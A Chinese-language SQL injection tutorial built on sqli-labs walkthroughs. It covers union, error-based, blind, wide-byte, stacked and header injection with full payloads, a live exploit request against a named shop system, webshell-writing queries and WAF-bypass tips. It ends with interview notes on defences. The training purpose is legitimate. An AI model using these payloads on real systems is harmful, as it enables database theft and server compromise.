奉天安全团队(www.ftsec.cn)--Liku
奉天出品,必属精品。
转载请标明出处
因为感觉自己基础没有打扎实,就重新在学习一遍SQL注入。这一次就结合CTF与SRC来,还有护网面试中会问到的SQL注入面试题来讲一下
原理
web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
本质还是服务器没有对用户的输入做校验。导致用户的可控的输入嵌入到sql语句中并被服务端执行,导致应用程序的信息泄露以及攻击者写入webshell
sql注入分类
联合查询注入、报错注入、布尔盲注、堆叠注入、时间盲注 、宽字节注入,HTTP头部注入
联合查询注入
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL
联合查询:将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并
联合查询(Union Query)是一种 SQL 查询,用于将多个 SELECT 语句的结果合并为一个结果集。联合查询使用UNION
或UNION ALL
关键字来实现。
UNION
和UNION ALL
的区别
-
UNION
: 合并结果集并去除重复的记录。 -
UNION ALL
: 合并结果集但不去除重复的记录。
联合查询的语法
SELECT column1, column2, ...
FROM table1
WHERE condition
UNION [ALL]
SELECT column1, column2, ...
FROM table2
WHERE conition;
示例
假设有两个表employees
和customers
,需要将这两个表中的姓名合并为一个结果集。
数据表
employees
表:
id | name |
---|---|
1 | Alice |
2 | Bob |
customers
表:
id | name |
---|---|
1 | Charlie |
2 | Dave |
查询示例
SELECT name
FROM employees
UNION
SELECT name
FROM customers;
结果
name |
---|
Alice |
Bob |
Charlie |
Dave |
1.使用联合查询注入的条件
联合查询注入是MySQL注入中的一种方式,在SQL注入中说了注入漏洞存在的相关条件,而联合查询注入这种方法需要满足查询的信息在前端有回显,回显数据的位置就叫回显位。
如果有注入漏洞的页面存在这种回显位就可以利用联合查询注入的方式进行注入。
2.靶场
环境:sqllabs-1
根据SQL注入原理可以得知,这里存在SQL注入漏洞。
我们将id=1换成id=2,发现login name 和password都发生了改变,这里就存在我们所说的回显点
首先要判断一下该表的字段数,因为联合注入前后查询的字段数应该保持一样,判断字段的方式最常见的是order by关键字的判断
?id=1' order by 4 --+
可以看到order by4的时候报错,order by3 的时候正常返回,所以有三个字段
当我们知道存在3个字段了,又知道存在回显点,此时就可以正式进行联合查询注入,我们需要知道查询语句的回显位的位置,可以直接使用?id=1’ union select 1,2,3 --+
不过问题来了,按理来说1,2,3这些数字应该会出现在回显位上,可为什么还是出现原来正常的结果呢。
因为返回的位置只有两个,没有出现1,2和3的,所以我们要怎么才能把1和2和3也返回到页面上呢
?id=-1' union select 1,2,3 --+
想一下,如果第一个查询语句 ?id= 是错误的,是不是就查不到了?,那么就故意在第一个语句中写个错误的
为什么不是1,2而是2,3呢?,因为这是程序员在过程中设置的,以后遇到的也有可能单独一个1,或者2,3或者1,3
报错注入
原理:利用某些函数报错会返回参数值的这一个特点,通过触发数据库错误来获取数据库的详细信息。攻击者利用这个特点向服务器传递恶意的代码,返回自己想看到的内容。
那这个函数报错是什么意思呢?
updatexml函数,extractvalue函数,floor()函数,NAME_CONST()函数,jion()函数,exp()函数
常见的报错函数有这6个,对各个函数的原理及其在SQL注入中的应用进行剖析:
1.updatexml
函数 (MySQL)
原理:updatexml
函数用于对XML数据进行更新。它接受三个参数:一个XML字符串、一个XPath表达式和一个新的值。如果XPath表达式无效或XML格式错误,updatexml
会返回错误信息。
应用:CONCAT
函数将数据库版本信息拼接到无效的XPath表达式中,从而触发错误,并在错误信息中返回数据库版本。
updatexml(1, CONCAT('~', (SELECT version()), '~'), 1);
`1` 是XML文档的占位符,这里实际并不关心这个值是什么,因为重点在于触发错误。
`CONCAT('~', (SELECT version()), '~')` 是一个字符串拼接函数,它将三个部分拼接在一起:
`~`:一个波浪号,用于标记字符串的开始。
`(SELECT version())`:一个子查询,获取数据库的版本信息。
`~`:另一个波浪号,用于标记字符串的结束。
`1` 是用于更新的值,同样不关心具体内容,因为重点在于触发错误。
结果:
假如(SELECT version())这个子查询获取数据库的版本信息是5.7.31-log
。
-
拼接字符串:
-
CONCAT('~', (SELECT version()), '~')
将字符串拼接为~5.7.31-log~
。
-
-
触发错误:
-
updatexml(1, '~5.7.31-log~', 1)
实际上尝试执行一个无效的XML更新操作,因为第一个参数1
不是有效的XML文档。 -
这将导致数据库抛出一个错误,其中包含
~5.7.31-log~
这部分内容。
-
-
错误信息泄露:
-
由于数据库返回的错误信息包含拼接的字符串,攻击者可以在错误信息中看到数据库的版本号。
-
2.extractvalue
函数 (MySQL)
原理:extractvalue
函数用于从XML数据中提取值。它接受两个参数:一个XML字符串和一个XPath表达式。如果XPath表达式无效或XML格式错误,extractvalue
会返回错误信息。
应用:CONCAT
函数将数据库名拼接到无效的XPath表达式中,从而触发错误,并在错误信息中返回数据库名。extractvalue
函数在MySQL中通常用于从XML数据中提取值
SELECT extractvalue(1, CONCAT('~', (SELECT database()), '~'));
- `extractvalue` 是一个函数,通常接受两个参数:一个XML字符串和一个XPath表达式。被用来触发错误消息。
- `1` 是XML字符串的占位符,这里实际并不关心这个值是什么,因为重点在于触发错误。
- `CONCAT('~', (SELECT database()), '~')` 是一个字符串拼接函数,它将三个部分拼接在一起:
- `~`:一个波浪号,用于标记字符串的开始。
- `(SELECT database())`:一个子查询,获取当前数据库的名称。
- `~`:另一个波浪号,用于标记字符串的结束。
结果:
假如(SELECT database())这个子查询获取数据库的版本信息是mydatabase
。
-
拼接字符串:
-
CONCAT('~', (SELECT database()), '~')
将字符串拼接为~mydatabase~
。
-
-
触发错误:
-
extractvalue(1, '~mydatabase~')
实际上尝试执行一个无效的XPath表达式,因为第一个参数1
不是有效的XML文档。 -
这将导致数据库抛出一个错误,其中包含
~mydatabase~
这部分内容。
-
-
错误信息泄露:
-
由于数据库返回的错误信息包含拼接的字符串,攻击者可以在错误信息中看到数据库的名称。
-
3.floor
函数 (MySQL)
原理:floor
函数用于返回小于或等于指定数值的最大整数。如果输入值是一个表达式并包含随机数生成函数(如rand
),则在某些情况下会生成重复的值,从而触发错误。
在这段代码中,FLOOR(RAND(0)*2)
在某些情况下会生成重复的值,从而触发重复键错误,并在错误信息中包含数据库名。
应用:
利用重复键错误来获取数据库信息。
SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
1. 这条查询语句从 `information_schema.tables` 表中检索数据。`information_schema` 是 MySQL 内部的一个系统数据库,其中包含了关于数据库、表、列等元数据的信息。
2. `SELECT COUNT(*)`:
- `COUNT(*)` 函数用于统计表中的记录数。这里用于统计 `information_schema.tables` 表中的记录数。
3. `CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x`:
CONCAT函数:用于将多个字符串拼接成一个字符串。
(SELECT database()):子查询,返回当前数据库的名称。
0x3a:十六进制的冒号字符(`:》),用于分隔字符串。
rand()函数: 随机返回0~1间的小数;
floor()函数: 小数向下取整数;
FLOOR(RAND(0)*2):生成一个随机数(0 或 1),并取其整数部分。
最终生成的字符串格式为 `数据库名:0` 或 `数据库名:1`。
x:为生成的字符串指定一个别名。
4. FROM information_schema.tables:
- 从 information_schema.tables 表中检索数据。
5. GROUP BY x:
- 按照 `x` 列(即拼接后的字符串)对结果进行分组。
结果
-
生成随机数:
-
FLOOR(RAND(0)*2)
随机生成 0 或 1。
-
-
拼接字符串:
-
CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2))
将当前数据库名和随机数拼接在一起,生成的字符串格式为数据库名:0
或数据库名:1
。
-
-
触发重复键错误:
-
GROUP BY x
按照拼接后的字符串对结果进行分组。如果information_schema.tables
表中有足够多的行,FLOOR(RAND(0)*2)
生成的随机数会导致某些组中有重复的键,从而触发重复键错误。
-
-
错误信息泄露:
-
由于 MySQL 返回的错误信息包含生成的字符串,攻击者可以在错误信息中看到数据库的名称。
-
4.name_const
函数 (MySQL)
原理:name_const
函数用于为一个常量值指定一个名称。如果在SQL查询中重复使用相同的名称,则会触发错误。
应用:
利用重复名称错误来获取数据库信息。
SELECT * FROM users WHERE id = 1 AND (SELECT name_const(version(),1) LIMIT 1,1);
1. **`SELECT * FROM users WHERE id = 1`**:
- 从 `users` 表中检索 `id` 等于 1 的所有列。
2. **`AND (SELECT name_const(version(),1) LIMIT 1,1)`**:
- `AND` 条件部分是用来引入子查询。
- `name_const` 函数在 MySQL 中用于为常量指定一个名称。这里的用法会导致生成的常量名与数据库版本信息相关。
- `version()` 函数返回当前 MySQL 服务器的版本。
- `LIMIT 1,1` 子句用于跳过第一个结果并只取第二个结果,这会产生一个“索引越界”的错误。
结果:
-
子查询部分
(SELECT name_const(version(),1) LIMIT 1,1)
:-
name_const(version(),1)
创建一个名为version()
的常量,其值为 1。 -
由于
version()
函数返回 MySQL 服务器的版本信息,如5.7.31-log
,因此生成的常量名会是5.7.31-log
。
-
-
触发错误:
-
LIMIT 1,1
子句用于尝试从子查询结果中获取第二条记录。如果子查询只返回一条记录,则会触发“索引越界”的错误。
-
-
错误信息泄露:
-
由于 MySQL 返回的错误信息包含触发错误的具体表达式,攻击者可以在错误信息中看到数据库版本信息。
-
5.join
函数
原理:
SQL中的JOIN
操作用于在多个表之间建立关联。如果在JOIN
操作中构造错误的查询语句,也可以触发错误信息。
应用:
利用错误的JOIN
语句来获取数据库信息。
SELECT * FROM users u JOIN (SELECT 1 AS a, (SELECT database()) AS b) t ON u.id = t.a;
1. **`SELECT * FROM users u`**:
- 从 `users` 表中检索所有列,并给该表分配一个别名 `u`。
2. **`JOIN (SELECT 1 AS a, (SELECT database()) AS b) t`**:
- 进行一个 JOIN 操作,连接 `users` 表和一个子查询。
- 子查询 `(SELECT 1 AS a, (SELECT database()) AS b)` 返回两列:
- `1`:作为列 `a` 的值。
- `(SELECT database())`:作为列 `b` 的值,返回当前使用的数据库名称。
- 将子查询的结果作为一个临时表 `t`。
3. **`ON u.id = t.a`**:
- 指定 JOIN 条件,将 `users` 表中的 `id` 列与临时表 `t` 中的 `a` 列进行匹配。
- 由于 `t.a` 的值始终为 `1`,因此只会匹配 `users` 表中 `id` 等于 `1` 的记录。
结果
-
子查询部分
(SELECT 1 AS a, (SELECT database()) AS b)
:-
这个子查询返回一个结果集,其中有两列:
a
和b
。 -
a
列的值始终为1
。 -
b
列的值是当前使用的数据库名称。
-
-
JOIN 操作:
-
将
users
表与子查询结果进行 JOIN 操作,基于条件u.id = t.a
进行匹配。 -
由于
t.a
的值始终为1
,只有users
表中id
等于1
的记录会被匹配并返回。
-
6.exp
函数 (MySQL)
原理:exp
函数用于计算e的指定次方。如果输入值导致数学错误(如无限大或NaN),则会触发错误。
应用:
利用数学错误来获取数据库信息。
SELECT EXP(~(SELECT * FROM (SELECT user())a));
1. `EXP` 函数:
- `EXP(x)` 函数返回 e(自然对数的底数,大约为2.71828)提升到x次方的值。这里的目的是触发错误,而不是实际计算指数。
2. 位运算符 `~`:
- `~` 是位运算符,用于对给定数值执行按位取反操作。这里的目的是触发错误。
3. 子查询部分 `(SELECT user())`**:
- `SELECT user()` 返回当前数据库用户的名称。
4. 嵌套子查询 `(SELECT * FROM (SELECT user())a)`**:
- `(SELECT user())` 被包裹在一个子查询中,命名为 `a`。这是一种用于复杂 SQL 注入的技巧,用来绕过一些简单的防注入措施。
结果
-
子查询部分
(SELECT user())
:-
这个子查询返回当前数据库用户的名称。例如,结果可能是
root@localhost
。
-
-
嵌套子查询
(SELECT * FROM (SELECT user())a)
:-
嵌套子查询将
SELECT user()
的结果包装在一个子查询a
中。这使得外部查询试图选择所有列。
-
-
按位取反操作
~
:-
~(SELECT * FROM (SELECT user())a)
试图对字符串结果进行按位取反操作,这将触发 MySQL 的错误,因为按位取反操作只能应用于整数。
-
-
EXP
函数:-
EXP(~(SELECT * FROM (SELECT user())a))
试图计算按位取反结果的指数,这进一步确保触发错误。
-
7.靶场
环境:sqli-labs-6
输入单引号时没有报错,输入双引号时报错
当输入到4时,开始报错,说明长度为3
但是这里没有回显数字,没有回显点,所以就使用报错注入
?id=-1"union select 1,updatexml(1, CONCAT('~', (SELECT database()), '~'), 1),3--+
?id=-1"union select 1,extractvalue(1, CONCAT('~', (SELECT version()), '~')),3--+
?id=-1"union select 1,COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x,3--+
?id=-1"union select 1,EXP(~(SELECT * FROM (SELECT database())a)),3--+
name_const和jion函数不常用,这里就不演示了
8.实战
Dscmall商城系统
POST /wholesale_flow.php?step=ajax_update_cart HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
rec_ids[]=extractvalue(1,concat(0x7e,md5(2725)))
数组参数传入SQL表达式
时间盲注
时间盲注又称延迟注入,当页面不会返回错误信息,只会回显一种界面的时候,可以根据页面返回的时间来进行注入。其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
延迟函数:sleep(),benchmark(),笛卡尔积,GET_LOCK(), RLIKE正则(主要说前两种)
1. sleep()
sleep()
函数在执行期间暂停指定的秒数。
-
用法:
SELECT IF(condition, SLEEP(seconds), 0);
-
示例:
SELECT IF(1=1, SLEEP(5), 0); -- 如果条件为真,延迟5秒
-
解释:
如果条件为真,sleep()
函数会导致数据库在指定时间内暂停执行,从而使页面延迟返回。
2. benchmark()
benchmark()
函数执行指定的表达式多次,用于制造计算延迟。
-
用法:
SELECT IF(condition, BENCHMARK(count, expression), 0);
-
示例:
SELECT IF(1=1, BENCHMARK(1000000, SHA1('test')), 0); -- 如果条件为真,进行100万次SHA1计算
-
解释:
benchmark()
函数通过执行大量计算任务制造延迟
3. 笛卡尔积
通过生成大规模结果集制造延迟。
-
用法:
SELECT * FROM table1, table2 WHERE condition;
-
示例:
SELECT * FROM large_table1, large_table2 WHERE 1=1; -- 生成大结果集
-
解释:
通过进行大规模连接查询,制造处理结果集的延迟
4. GET_LOCK()
GET_LOCK()
函数尝试获取指定名称的锁,如果锁可用则返回成功并持有锁指定时间。
-
用法:
SELECT IF(condition, GET_LOCK('lock_name', timeout), 0);
-
示例:
SELECT IF(1=1, GET_LOCK('test_lock', 10), 0); -- 如果条件为真,获取10秒的锁
-
解释:
通过获取一个锁来制造延迟,攻击者可以通过观察页面响应时间来判断条件是否为真。
5. RLIKE正则
通过正则表达式匹配制造复杂的计算延迟。
-
用法:
SELECT IF(condition, 1 RLIKE pattern, 0);
-
示例:
SELECT IF(1=1, 1 RLIKE (SELECT CASE WHEN (1=1) THEN 'a' ELSE 0x28 END), 0); -- 如果条件为真,进行正则匹配
-
解释:
使用复杂的正则表达式进行匹配来制造计算延迟
6.利用过程
第一步:判断注入点
"and 1=1--+ 页面返回有数据
"and 1=0--+ 页面返回有数据
则:页面的返回没有变化,可能是盲注
第二步:判断可使用注入方法
然后用sleep()判断能否利用时间盲注,如果sleep函数不行,就用其他的函数
"and sleep(5)--+
如果页面延时了,则是时间盲注。
第三步:猜数据库名称长度
"and if((length(database()))=10,sleep(5),1)--+ 页面延时了
则:当前数据库名称长度为 10
第四步:猜数据库名称(ASCII码)
"and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+ 页面延时了
则:数据库第一个字母是k... 类推得到数据库名
7.靶场
环境:sqli-labs9
扩展:if()函数
if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值
第一步:判断注入点和注入方法
不论输入单引号还是双引号还是数字,都是正常回显,只能用延时函数了
?id=1' and sleep(5) --+
标签上面在转,说明函数执行了,即存在注入点
这里是单引号闭合
第二步:猜数据库名称长度
?id=1' and if(length(database())>7,sleep(5),1)--+
这句话的意思就是如果数据库名字的长度大于7就延迟7秒,不然返回1。
这里就是延迟了。说明果数据库名字的长度大于7
接着试试数据库名字的长度等于7,这里就没有延迟了。说明不是7
数据库名字的长度等于8,这里就出现延迟了。说明是数据库长度是8
第三步:猜数据库名(ASCII码)
扩展:字符 'a' 的 ASCII(十进制) 值是 97。
-
十进制(Decimal): 97
-
二进制(Binary): 1100001
-
八进制(Octal): 141
-
十六进制(Hexadecimal): 61
知道数据库长度为8了,现在要知道数据库的8位,是哪几个数字
?id=1' and if(ascii(substr(database(),1,1))<200,sleep(5),0) --+
substr( a,1, 1):截取字符串a的某一部分,这里是截取从1开始到1结尾的字符串
ascii(substr(database(),1,1),这里是数据库名字的第一个字符的ascii码
出现延迟,说明数据库名字的第一个字符的ascii码小于200,接着试试100,
?id=1' and if(ascii(substr(database(),1,1))<100,sleep(5),0) --+
无延迟,正常返回,说明在100和200之间,试试150
?id=1' and if(ascii(substr(database(),1,1))<150,sleep(5),0) --+
试试150,结果出现延迟,那么就是在100到150 之间,二分法依次类推得到第一个字符的ascii为115
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0) --+
ascii为115对应的字符为s,依次类推得到的八位为security
第四步:猜表名长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1)--+
当长度为6时,出现延迟,
第五步:猜表名
?id=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101, sleep(5), 0)--+
表名第一个的ascii为101 对应为e,依次类推
第六步:猜字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=4,sleep(5),1)--+
出现延迟说明字段长度为4
第七步:猜字段名
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(5),1)--+
出现延迟,则第一个字段名为asicc105对应的字符i
宽字节注入
1.addslashes()转义函数
讲宽字节注入前,先讲一下addslashes()转义函数
addslashes()
是 PHP 中用于转义字符串中的特殊字符的函数之一。它会在指定的预定义字符(单引号、双引号、反斜线和 NUL 字符)前面添加反斜杠,以防止这些字符被误解为代码注入或其他意外操作。
<?php
$input = "O'Reilly";
$safe_input = addslashes($input);
echo $safe_input; // 输出 O\'Reilly
$input = 'He said "Hello"';
$safe_input = addslashes($input);
echo $safe_input; // 输出 He said \"Hello\"
$input = "Backslash: \\";
$safe_input = addslashes($input);
echo $safe_input; // 输出 Backslash: \\
?>
宽字节注入原理:
在网站开发中,防范SQL注入是至关重要的安全措施之一。常见的防御手段之一是使用PHP函数 addslashes() 来转义特殊字符,如单引号、双引号、反斜线和NULL字符。
然而,宽字节注入攻击利用了这种转义机制的漏洞,通过特殊构造的宽字节字符绕过 addslashes() 函数的转义,从而实现对系统的攻击。
攻击者利用宽字节字符集(GBK)将两个字节识别为一个汉字,绕过反斜线转义机制,并使单引号逃逸,实现对数据库查询语句的篡改。
示例:
-
设有以下测试payload:
输入payload: ' or 1=1 #
经过 addslashes() 后:\' or 1=1 #
分析:'
的url编码是%27
,经过addslashes()
以后,'
就变成了\'
,反斜杠(\
)的URL编码是%5C
。\'
对应的url编码就是%5c%27
-
针对上述情况,可以构造绕过payload:
构造绕过payload: %df' or 1=1 #
经过 addslashes() 后: %df\' or 1=1 #
在数据库中执行:雅'or 1=1 #
分析:我们在payload中的'
之前加了一个字符%df
,经过addslashes()
以后,%df'
就变成了%df\'
,对应的URL编码为:%df%5c%27
。 当MySQL使用GBK编码时,会将%df%5c
解析成一个字,从而使得单引号%27
成功逃逸。
%DF%5C
:在GBK编码中,对应的是汉字“雅”。
2.靶场
环境:sqli-labs32
首先输入?id=1'
测试是否存在注入,发现单引号'
被转义成\'
失效了,考虑使用宽字节注入绕过转义符
构造?id=1%df'
,页面有报错回显,说明单引号成功逃逸
?id=1%df'
接下来使用常规思路构造payload获取数据库名等:?id=-1%df' union select 1,database(),3 --+
?id=-1%df'union select 1,database(),3--+
堆叠注入
1.原理:
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
mysqli_query()
是 PHP 中用于执行单条 MySQL 查询的函数。
mysqli_multi_query()
是 PHP 中用于执行多条 MySQL 查询的函数。
但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
2.靶场
环境:sqllibss-38
目的:往后台数据库增加一个账号。
修改参数为?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
,语句执行后页面如下。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
修改命令为?id=38
,查询刚刚添加的账号。
布尔盲注
1.原理
当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,页面呈现出两种状态,正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句true
、false
使web页面返回true或者false,从而达到注入的目的来获取信息
2.靶场
**环境:**以sqli-abs-8关为例
当我们输入id=1时,页面正常显示you are in....
当我们输入id=1'或者id=-1时,页面什么都不显示
使用order by判断字段数order by 4报错 order by 3正常
使用union select无回显,猜测为布尔盲注
1.使用length()函数判断数据库名长度
id=1' and length(database())>8--+
判断数据库的长度是不是大于8
错误返回,所以数据库名字的长度小于8,
?id=1' and length(database())=8--+
正常返回,数据库名字的长度为8,
2.猜数据库名字
首先猜测数据库第一位,这里使用了 left 函数
left(a,b)
:返回a字符串从左至b位数,详细看下面用法
?id=1'and left(database(),1)>'a'--+
数据库我们知道是 security,所以我们看他的第一位是否 大于 a,很明显 s 大于 a 的,因此回显正常。当我们不知情的情况下,可以用二分法来提高注入的效率。
测得第一位为 s,我们看前两位是否大于 sa,继续猜测第二位:
?id=1'and left(database(),2)>'sa'--+
然后第三位,第四位,依次类推。
这里还可以构造这样的命令猜解数据库第一位 :
?id=1' and ascii(substr((database()),1,1)) >80--+
第二位:
?id=1' and ascii(substr((database()),2,1)) >80--+
最终我们可以确定数据库的全名是security,接下来我们判断表名。
3.猜表名字
先猜表名字长度,(limit 0,1)意思是第一个表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
正确返回,则长度为6,接下来就是表名组成,limit 0,1只检查第一个表,所以只检查数据库security的第一个表名字的一个字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
这里正常返回,依次类推
4.猜字段名字
先猜字段名字长度,(limit 0,1)意思是第一个表
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=4--+
正确返回,则长度为4,接下来就是字段组成,limit 0,1只检查第一个字段,所以只检查user表的第一个字段名字的一个字符
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105--+
![image-20240716200041453]
这里正常返回,依次类推
HTTP头部注入
1.原理:
后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞
2.常见的HTTP 头部注入类型
(1)Cookie注入
**环境:**sql-labs-20
用账号密码dumb登录,bp抓包一下
在在cookie的值后加单引号 ,且加–空格(或者#)注释掉后面的单引号,注意此处不能用–+,+是在url中对空格的变换。可以看到现在响应是正常的,同样可以证明该处是字符型注入且是单引号闭合。
获取库名。修改cookie参数为Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1)#,最后一个#是为了注释掉后续的单引号,让updatexml()函数执行并报错。可以看到updatexml()函数执行时报错,同时将数据库信息爆了出来,名为security。
(2)User-Agent注入
**环境:**sql-labs-18
尝试Dumb账户登录,登录后页面显示如下,抓包
对请求进行编辑,user-agent信息修改为test
,测试响应是否能回显该处内容。可以看到正常显示。
修改参数为test'
时,系统出现错误提示,由此我们猜测是因为多了一个单引号引起引号未正常闭合的情况。与以往不同的时,这里的错误语句还出现了一串包括IP和账号在内的其他语句,我们可以猜测,系统将该语句拼接到我们注入参数后一并执行
修改参数为test' and updatexml(1,concat('~',database(),'~'),1) and '1'='1,此处在语句最后加上了一个恒等式,一方面是为了闭合后台语句的单引号,另一方面是为了保证当我们语句拼接如后台后不影响后续语句的运行,这是该闭合方式比采用#号等方式的高明之处。通过该参数,我们爆出了该网站所在数据库名。
(3)Referer注入
**环境:**sql-labs-19
尝试Dumb账户(密码也是Dumb)登录.抓包
可以看到刚刚发送过来的请求,点击发送,可以看到响应中有referer的信息,因此猜测该字段内容可以回显到页面上,可能存在注入
对请求进行编辑,referer信息修改为test
,测试响应是否能回显该处内容。可以看到正常显示。
修改参数为test'
时,系统出现错误提示,由此我们猜测是因为多了一个单引号引起引号未正常闭合的情况。与以往不同的时,这里的错误语句还出现了一串包括IP和账号在内的其他语句,我们可以猜测,系统将该语句拼接到我们注入参数后一并执行。
改参数为test' and updatexml(1,concat('~',database(),'~'),1) and '1'='1,此处在语句最后加上了一个恒等式,一方面是为了闭合后台语句的单引号,另一方面是为了保证当我们语句拼接如后台后不影响后续语句的运行,这是该闭合方式比采用#号等方式的高明之处。通过该参数,我们爆出了该网站所在数据库名。
(4)XFF注入
xff注入以上同理,
护网面试
sql注入防御:
1.使用预编译;
黑名单:对特殊的字符例如括号斜杠进行转义过滤删除;
白名单:对用户的输入进行正则表达式匹配限制;
2.规范编码以及字符集,否者攻击者可以通过编码绕过检查;
3.参数化查询:原理是将用户输入的查询参数作为参数传,而不直接将它们拼接到SQL语而言,将SQL语句和参数分离开来,并通过占位符(一般使用问号“?”)将它们关联起来,这样用户的输入只会被当作参数
宽字节注入原理:
由于PHP utf-8编码 数据库GBK编码,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来
sql注入如何写入webshell:
?id=1’ union select 1,“”,3 into outfile ‘C:\phpstudy\WWW\sqli\shell.php’#
?id=1’ union select 1,“”,3 into dumpfile ‘C:\phpstudy\WWW\sqli\shell.php’#
into outfile ‘C:/wamp64/www/shell.php’ lines terminated by ‘’;
into outfile ‘C:/wamp64/www/shell.php’ lines starting by ‘’;
outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出。
dumpfile只能写一行,并且输出中不存在任何格式。
讲一讲sqlmap中的risk和level的区别:
risk风险等级 越大则测试的语句越多 强调数量
level探测的深度 越大则测试的范围越广 例如cookie host 等等都会测试 强调范围
sql注入遇到waf,怎么绕过
使用编码:攻击者可以对注入负载进行编码,例如使用十六进制或Unicode编码等方式,以绕过WAF对字符集的检查。攻击者还可以使用字符串分割、大小写转换等技术手段,以使WAF无法识别恶意代码。
使用注入器:SQL注入攻击工具如Sqlmap、Havij、SQLi-hunter等,可以自动检测和利用各种SQL注入漏洞,并通过绕过WAF来获取敏感数据。
盲注:在盲注攻击中,攻击者不直接获取查询结果,而是根据应用程序的响应来判断是否存在漏洞。攻击者可以使用时间延迟或错误信息来判断是否存在漏洞,并以此来推断数据库中的数据。
变形注入:变形注入攻击是一种多次执行的注入攻击,使用变体的注入负载,使注入负载不同于以前的攻击负载,从而逃避WAF的检测
–os-shell的条件
答:拥有网站的写入条件补充:Secure_file_priv参数为空或者为指定路径
分析sql注入类型告警是否成功?
1.排除302、404、301、502,非200状态码
2.判断请求包内相关的sql语句是否为恶意的SQL语句
3.判断响应体内是否包含数据库敏感信息,或者系统信息。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)